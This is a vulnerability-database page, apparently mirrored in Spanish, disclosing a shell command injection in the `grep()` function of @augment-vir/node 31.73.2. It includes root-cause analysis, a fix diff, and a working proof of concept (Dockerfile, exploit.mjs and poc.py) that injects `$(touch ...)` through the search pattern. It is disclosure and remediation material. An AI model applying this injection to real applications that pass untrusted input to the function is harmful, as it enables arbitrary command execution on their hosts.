GHSA-XVCC-VQJV-PHQH
augment-virShell allows Command Injection in `grep()` via Unsanitized `searchPattern`
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XVCC-VQJV-PHQH divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Shell Command Injection in `grep()` via Unsanitized `searchPattern`
Summary
The `grep()` function exported by `@augment-vir/node` inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (`grep.ts:310`). When the constructed command is passed to `spawn()` with `shell: 'bash'` (`shell.ts:98-99`), bash evaluates `$()` command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to `grep()`'s `pattern` or `patterns` field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: 7.8 (High).
Details
Root cause: `packages/node/src/augments/fs/grep.ts:310` maps each search pattern into the shell fragment `-e "${searchPattern}"` with no sanitization:
// grep.ts:310
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),The resulting full command string is forwarded to `runShellCommand` (`grep.ts:320`), which calls `streamShellCommand` (`shell.ts:221-224`), which ultimately calls:
// shell.ts:98-99
const childProcess = spawn(command, {
shell, // defaults to 'bash' (shell.ts:92)Because `shell` is `'bash'`, bash interprets `$()` within the double-quoted pattern as a command substitution and executes it before `grep` ever runs.
Incomplete sanitization: An `escape()` helper exists at `grep.ts:178-180` but only replaces `"` with `\"` and removes newlines. It is applied to `excludePatterns`, `excludeDirs`, and `includeFiles` (`grep.ts:297-308`) but not to `searchPatterns`. Even if it were applied, double-quote escaping does not prevent `$()` or backtick substitution inside bash double-quote contexts.
Data flow (source → sink):
| Step | Location | Description |
|------|----------|-------------|
| 1 | `packages/node/src/index.ts:3` | `export * from './augments/fs/grep.js'` — exposes `grep()` as a public npm API |
| 2 | `packages/node/src/augments/fs/grep.ts:223-226` | `grep()` accepts caller-controlled `grepSearchPattern` and `grepSearchLocation` |
| 3 | `packages/node/src/augments/fs/grep.ts:228` | `searchPatterns` derived from `grepSearchPattern.patterns \|\| [grepSearchPattern.pattern]` |
| 4 | `packages/node/src/augments/fs/grep.ts:269-314` | `fullCommand` built as a plain shell string |
| 5 | `packages/node/src/augments/fs/grep.ts:310` | Sink: `searchPattern` inserted as `` `-e "${searchPattern}"` `` — no escaping applied |
| 6 | `packages/node/src/augments/fs/grep.ts:320` | `fullCommand` passed to `runShellCommand` |
| 7 | `packages/node/src/augments/terminal/shell.ts:221-224` | Forwarded to `streamShellCommand` |
| 8 | `packages/node/src/augments/terminal/shell.ts:98-99` | `spawn(command, { shell: 'bash' })` executes the constructed command string |
Suggested remediation:
--- a/packages/node/src/augments/fs/grep.ts
+++ b/packages/node/src/augments/fs/grep.ts
@@
-function escape(input: string) {
- return input.replaceAll('"', String.raw`\"`).replaceAll('\n', '');
+function shellQuote(input: string) {
+ return `'${input.replaceAll("'", String.raw`'\''`).replaceAll('\n', '')}'`;
}
@@
- ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
+ ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),
+ '--',
...searchParts,Alternatively, replace the shell-string approach with `spawn('grep', args, { shell: false })` to avoid shell interpretation entirely.
PoC
Prerequisites: Docker installed on the host. All steps run locally inside a container — no network exposure, no real credentials, no DoS.
Step 1 — Build the Docker image:
docker build -t augment-vir-vuln-001-poc \
vuln-001Step 2 — Run the exploit container:
docker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-pocCore exploit (`exploit.mjs` inside the container):
import { grep } from '@augment-vir/node';
await grep(
{ pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
{ file: 'package.json' },
);The `$()` shell substitution in the pattern causes bash to execute `touch /tmp/augment-vir-poc-triggered` before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in `package.json`.
Expected output:
[*] Calling grep() with injected $() command substitution pattern...
[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match
=== VULNERABLE ===
[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered
[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})Minimal reproduction without Docker:
mkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc
npm init -y
npm install @augment-vir/node@31.73.2
cat > poc.mjs <<'EOF'
import { grep } from '@augment-vir/node';
await grep(
{ pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' },
{ file: 'package.json' },
);
EOF
rm -f /tmp/augment-vir-grep-poc
node poc.mjs
test -f /tmp/augment-vir-grep-poc && echo VULNERABLEVerification: Both Phase 1 static analysis and Phase 2 dynamic reproduction confirmed the vulnerability. `VULNERABLE` and `COMMAND INJECTION CONFIRMED` were observed in stdout; the sentinel file `/tmp/augment-vir-poc-triggered` was created inside the Docker container.
Impact
This is an OS Command Injection (CWE-78) vulnerability. Any application that calls `@augment-vir/node`'s `grep()` with user-controlled input in the `pattern` or `patterns` field is vulnerable to arbitrary command execution under the Node.js process's user account.
- Confidentiality — High: An attacker can read arbitrary files accessible to the process.
- Integrity — High: An attacker can write or delete files, install malware, or modify application data.
- Availability — High: An attacker can terminate processes or exhaust system resources.
The attack vector is classified as Local (the attacker must control the value passed to `pattern` at the library API level). In practice the severity escalates to Network-reachable if a web service or API maps any user-supplied string to the `grep()` `pattern` parameter. No authentication or special privileges are required; the function is exported from the package's main entry point and is enabled by default.
Reproduction artifacts
`Dockerfile`
FROM node:22-slim
# Install grep (required by @augment-vir/node's grep() implementation)
RUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/*
WORKDIR /poc
# Initialize npm project and install the vulnerable package version
RUN npm init -y && \
npm install @augment-vir/node@31.73.2 --save 2>&1 | tail -5
# Create the exploit script that demonstrates command injection via grep()
# The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected
# into the shell command string without sanitization, causing $() substitution
# to execute 'touch /tmp/augment-vir-poc-triggered' under bash.
RUN cat > /poc/exploit.mjs << 'EOF'
import { grep } from '@augment-vir/node';
import { existsSync } from 'node:fs';
const SENTINEL_FILE = '/tmp/augment-vir-poc-triggered';
// Remove sentinel file if it exists from a previous run
import { rmSync } from 'node:fs';
try { rmSync(SENTINEL_FILE); } catch {}
console.log('[*] Calling grep() with injected $() command substitution pattern...');
console.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match');
try {
await grep(
{ pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
{ file: 'package.json' },
);
} catch (err) {
// grep() may throw due to no matches — that is expected and irrelevant
console.log('[*] grep() threw (expected when no matches):', err?.message ?? err);
}
if (existsSync(SENTINEL_FILE)) {
console.log('');
console.log('=== VULNERABLE ===');
console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE);
console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})');
process.exit(0);
} else {
console.log('');
console.log('=== NOT EXPLOITED ===');
console.log('[-] Sentinel file was NOT created — injection did not fire.');
process.exit(1);
}
EOF
CMD ["node", "/poc/exploit.mjs"]`poc.py`
#!/usr/bin/env python3
"""
PoC for VULN-001: Shell Command Injection in @augment-vir/node grep()
CWE-78 — OS Command Injection
Affected version: @augment-vir/node@31.73.2
Root cause:
packages/node/src/augments/fs/grep.ts:310 constructs a shell command string
using unsanitized caller-supplied searchPattern inside double quotes:
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`)
This command string is passed to spawn(command, { shell: 'bash' }), meaning
$() command substitution in the pattern is executed by bash.
Safe usage: This PoC runs entirely inside a local Docker container.
No external network attacks, no real credentials, no DoS.
"""
import subprocess
import sys
import os
import json
IMAGE_NAME = "augment-vir-vuln-001-poc"
CONTAINER_NAME = "augment-vir-vuln-001-run"
DOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))
BUILD_CMD = f"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}"
RUN_CMD = f"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}"
def run(cmd, **kwargs):
"""Run a shell command and return CompletedProcess."""
print(f"[cmd] {cmd}")
return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)
def main():
print("=" * 60)
print("VULN-001 PoC: Shell Command Injection in grep()")
print("Package: @augment-vir/node@31.73.2")
print("=" * 60)
# Step 1: Build Docker image
print("\n[*] Building Docker image...")
build_result = run(BUILD_CMD, timeout=300)
if build_result.returncode != 0:
print("[!] Docker build FAILED")
print(build_result.stdout[-2000:] if build_result.stdout else "")
print(build_result.stderr[-2000:] if build_result.stderr else "")
write_result(
passed=False,
verdict="FAIL",
reason="Docker 빌드 실패 — npm install 또는 네트워크 오류",
evidence=build_result.stderr[-1000:],
)
sys.exit(1)
print("[+] Docker image built successfully")
# Step 2: Run exploit container
print("\n[*] Running exploit container...")
run_result = run(RUN_CMD, timeout=120)
combined_output = run_result.stdout + run_result.stderr
print(combined_output)
# Step 3: Evaluate result
vulnerable = "VULNERABLE" in combined_output and "COMMAND INJECTION CONFIRMED" in combined_output
if vulnerable:
print("\n[+] PASS — Command injection confirmed inside Docker container")
print("[+] The $() substitution in grep() pattern was executed by bash")
write_result(
passed=True,
verdict="PASS",
reason=(
"Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. "
"sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 "
"'COMMAND INJECTION CONFIRMED' 문자열이 관측됨."
),
evidence=combined_output.strip()[-1500:],
)
sys.exit(0)
else:
print("\n[-] FAIL — exploit did not produce expected output")
write_result(
passed=False,
verdict="FAIL",
reason=(
"컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. "
"sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음."
),
evidence=combined_output.strip()[-1500:],
)
sys.exit(1)
def write_result(passed, verdict, reason, evidence):
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": f"python3 {os.path.abspath(__file__)}",
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py"],
}
out_path = os.path.join(DOCKERFILE_DIR, "phase2_result.json")
with open(out_path, "w", encoding="utf-8") as f:
json.dump(result, f, ensure_ascii=False, indent=2)
print(f"\n[*] Result written to {out_path}")
if __name__ == "__main__":
main()Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@augment-vir/node |
Corregida | 31.73.5 | — | — |
31.73.5Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-63496https://github.com/electrovir/augment-vir/security/advisories/GHSA-xvcc-vqjv-phqhhttps://github.com/electrovir/augment-vir/commit/9e1a3592903a56e500959be72276ede1708c3437https://github.com/electrovir/augment-virhttps://github.com/electrovir/augment-vir/releases/tag/v31.73.5Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
